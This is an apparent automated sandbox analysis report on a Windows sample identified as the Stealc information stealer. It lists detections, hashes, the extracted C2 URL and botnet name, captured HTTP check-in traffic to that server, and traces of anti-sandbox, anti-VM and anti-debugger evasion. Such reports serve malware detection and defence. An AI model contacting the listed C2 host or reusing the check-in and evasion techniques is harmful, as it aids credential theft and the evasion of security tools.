Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528823
MD5:	f10c33b85dcdad1afd46afc292250f45
SHA1:	cbf1860f2913584c90cb369f65cc2f3f9ed07f7d
SHA256:	fef07dfe69df3e939e6a3bc0e097b4507e052f873bd8d0cffe54508c9ce7e6af
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F10C33B85DCDAD1AFD46AFC292250F45)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1759771807.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7112	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.380000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T10:28:21.774078+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Code function: 0_2_00386280 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00386280

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDAEBFCBKECBGDBFCFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 39 41 37 46 38 46 31 32 44 34 31 30 36 38 35 34 30 37 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 41 45 42 46 43 42 4b 45 43 42 47 44 42 46 43 46 2d 2d 0d 0a Data Ascii: ------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="hwid"6F9A7F8F12D41068540764------JKJDAEBFCBKECBGDBFCFContent-Disposition: form-data; name="build"doma------JKJDAEBFCBKECBGDBFCF--

Source: file.exe, 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1800775191.00000000011A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800775191.0000000001197000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1800775191.000000000113E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1800775191.00000000011A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/01
Source: file.exe, 00000000.00000002.1800775191.0000000001197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/4D
Source: file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpBa
Source: file.exe, 00000000.00000002.1800775191.00000000011AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phph
Source: file.exe, 00000000.00000002.1800775191.0000000001184000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpva=T

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D	0_2_0075403D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00745005	0_2_00745005
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00750949	0_2_00750949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006D411C	0_2_006D411C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075B9B4	0_2_0075B9B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074BA0F	0_2_0074BA0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007072E7	0_2_007072E7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00746AAE	0_2_00746AAE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00608B2D	0_2_00608B2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00619B39	0_2_00619B39
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074D499	0_2_0074D499
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00748566	0_2_00748566
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075756E	0_2_0075756E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00755DB5	0_2_00755DB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006DE608	0_2_006DE608

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003845C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: zmsppxmk ZLIB complexity 0.9947472370715802

Source: file.exe, 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1759771807.0000000004D40000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00399600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00393720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00393720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\AIM13Z2D.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1844224 > 1048576

Source: file.exe

Static PE information: Raw size of zmsppxmk is bigger than: 0x100000 < 0x19c200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.380000.0.unpack :EW;.rsrc :W;.idata :W; :EW;zmsppxmk:EW;bobhsqhc:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;zmsppxmk:EW;bobhsqhc:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00399860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c85f6 should be: 0x1ca4c3

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zmsppxmk
Source: file.exe	Static PE information: section name: bobhsqhc
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039B035 push ecx; ret	0_2_0039B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083008C push 2A1F704Bh; mov dword ptr [esp], eax	0_2_0083009A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083008C push edi; mov dword ptr [esp], 6EFD8D00h	0_2_008300B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0083008C push ebx; mov dword ptr [esp], esi	0_2_008300FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BE862 push edi; mov dword ptr [esp], 7FF96F41h	0_2_007BE886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BE862 push 7DA59575h; mov dword ptr [esp], eax	0_2_007BE943
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BE862 push ecx; mov dword ptr [esp], edi	0_2_007BE961
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00776843 push 29291C8Dh; mov dword ptr [esp], eax	0_2_0077687C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008098B4 push ebx; mov dword ptr [esp], 667AA600h	0_2_0080982A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008098B4 push eax; mov dword ptr [esp], ecx	0_2_00809967
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077804D push ebp; mov dword ptr [esp], edx	0_2_0077806E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C1838 push 4F64F0E6h; mov dword ptr [esp], eax	0_2_007C1881
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 2180BEB6h; mov dword ptr [esp], ecx	0_2_0075404C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push ebp; mov dword ptr [esp], edx	0_2_0075406A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push eax; mov dword ptr [esp], edx	0_2_00754085
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push ecx; mov dword ptr [esp], 1CD0B131h	0_2_007540CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push eax; mov dword ptr [esp], esi	0_2_0075425E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 428A57B3h; mov dword ptr [esp], esi	0_2_007543B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push edi; mov dword ptr [esp], 75FF7081h	0_2_007543C4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 3BA5FA27h; mov dword ptr [esp], edx	0_2_007544A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 2F1B1309h; mov dword ptr [esp], esp	0_2_007544C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 44AECE45h; mov dword ptr [esp], edi	0_2_00754500
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 547A2200h; mov dword ptr [esp], edi	0_2_0075451D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push ebx; mov dword ptr [esp], 7F8BB202h	0_2_0075453E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push edi; mov dword ptr [esp], esp	0_2_00754549
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push ecx; mov dword ptr [esp], edx	0_2_00754577
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 47E3AE00h; mov dword ptr [esp], ebx	0_2_0075462A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 28DAEC84h; mov dword ptr [esp], esi	0_2_00754635
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push ebx; mov dword ptr [esp], 71686C11h	0_2_00754639
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 3289A0A8h; mov dword ptr [esp], edi	0_2_007546F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075403D push 56463362h; mov dword ptr [esp], esi	0_2_007546FF

Source: file.exe

Static PE information: section name: zmsppxmk entropy: 7.953354892161169

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00399860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13563

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E20D8 second address: 5E20DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA25 second address: 75EA29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA29 second address: 75EA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F402CDD4F61h 0x0000000b push ebx 0x0000000c jmp 00007F402CDD4F5Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED47 second address: 75ED4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED4B second address: 75ED51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED51 second address: 75ED5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED5A second address: 75ED77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F402CDD4F56h 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F402CDD4F5Ah 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75ED77 second address: 75ED7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F077 second address: 75F07B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F07B second address: 75F081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75F2E2 second address: 75F2EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762D0A second address: 762D69 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F402CC7E508h 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 jng 00007F402CC7E50Ch 0x00000019 js 00007F402CC7E506h 0x0000001f jmp 00007F402CC7E511h 0x00000024 popad 0x00000025 nop 0x00000026 mov edx, eax 0x00000028 push 00000000h 0x0000002a or dx, 3CE9h 0x0000002f mov dword ptr [ebp+122D2DADh], edi 0x00000035 call 00007F402CC7E509h 0x0000003a jmp 00007F402CC7E50Ch 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762D69 second address: 762D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762D6D second address: 762D77 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762D77 second address: 762DCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F402CDD4F64h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 jmp 00007F402CDD4F62h 0x00000017 pop eax 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b push eax 0x0000001c pushad 0x0000001d popad 0x0000001e pop eax 0x0000001f jng 00007F402CDD4F5Ch 0x00000025 jns 00007F402CDD4F56h 0x0000002b popad 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushad 0x00000034 popad 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762DCB second address: 762DD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F402CC7E506h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762DD6 second address: 762E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 movsx edi, si 0x0000000b or dword ptr [ebp+122D2CD2h], ebx 0x00000011 push 00000003h 0x00000013 jmp 00007F402CDD4F5Eh 0x00000018 push 00000000h 0x0000001a movzx edi, bx 0x0000001d jl 00007F402CDD4F59h 0x00000023 movzx edi, dx 0x00000026 push 00000003h 0x00000028 mov di, 585Ch 0x0000002c push 93FE3B5Fh 0x00000031 pushad 0x00000032 pushad 0x00000033 jmp 00007F402CDD4F63h 0x00000038 push edx 0x00000039 pop edx 0x0000003a popad 0x0000003b jmp 00007F402CDD4F69h 0x00000040 popad 0x00000041 add dword ptr [esp], 2C01C4A1h 0x00000048 jno 00007F402CDD4F62h 0x0000004e lea ebx, dword ptr [ebp+12454BEEh] 0x00000054 push 00000000h 0x00000056 push ebx 0x00000057 call 00007F402CDD4F58h 0x0000005c pop ebx 0x0000005d mov dword ptr [esp+04h], ebx 0x00000061 add dword ptr [esp+04h], 00000014h 0x00000069 inc ebx 0x0000006a push ebx 0x0000006b ret 0x0000006c pop ebx 0x0000006d ret 0x0000006e xor esi, dword ptr [ebp+122D2B3Fh] 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 pushad 0x00000078 jl 00007F402CDD4F56h 0x0000007e pushad 0x0000007f popad 0x00000080 popad 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762F05 second address: 762FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CC7E50Fh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F402CC7E515h 0x00000012 pop esi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F402CC7E508h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f stc 0x00000030 call 00007F402CC7E509h 0x00000035 push edi 0x00000036 jmp 00007F402CC7E50Bh 0x0000003b pop edi 0x0000003c push eax 0x0000003d pushad 0x0000003e jbe 00007F402CC7E50Ch 0x00000044 jmp 00007F402CC7E513h 0x00000049 popad 0x0000004a mov eax, dword ptr [esp+04h] 0x0000004e push esi 0x0000004f jne 00007F402CC7E50Ch 0x00000055 pop esi 0x00000056 mov eax, dword ptr [eax] 0x00000058 jno 00007F402CC7E50Eh 0x0000005e mov dword ptr [esp+04h], eax 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 pushad 0x00000066 popad 0x00000067 pop eax 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 763163 second address: 76316D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F402CDD4F5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76316D second address: 7631AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 041DE98Bh 0x0000000d movsx esi, bx 0x00000010 push 00000003h 0x00000012 ja 00007F402CC7E50Ch 0x00000018 push 00000000h 0x0000001a mov edx, dword ptr [ebp+122D2A9Bh] 0x00000020 push 00000003h 0x00000022 pushad 0x00000023 or bh, 00000053h 0x00000026 popad 0x00000027 call 00007F402CC7E509h 0x0000002c push eax 0x0000002d push edx 0x0000002e jp 00007F402CC7E508h 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
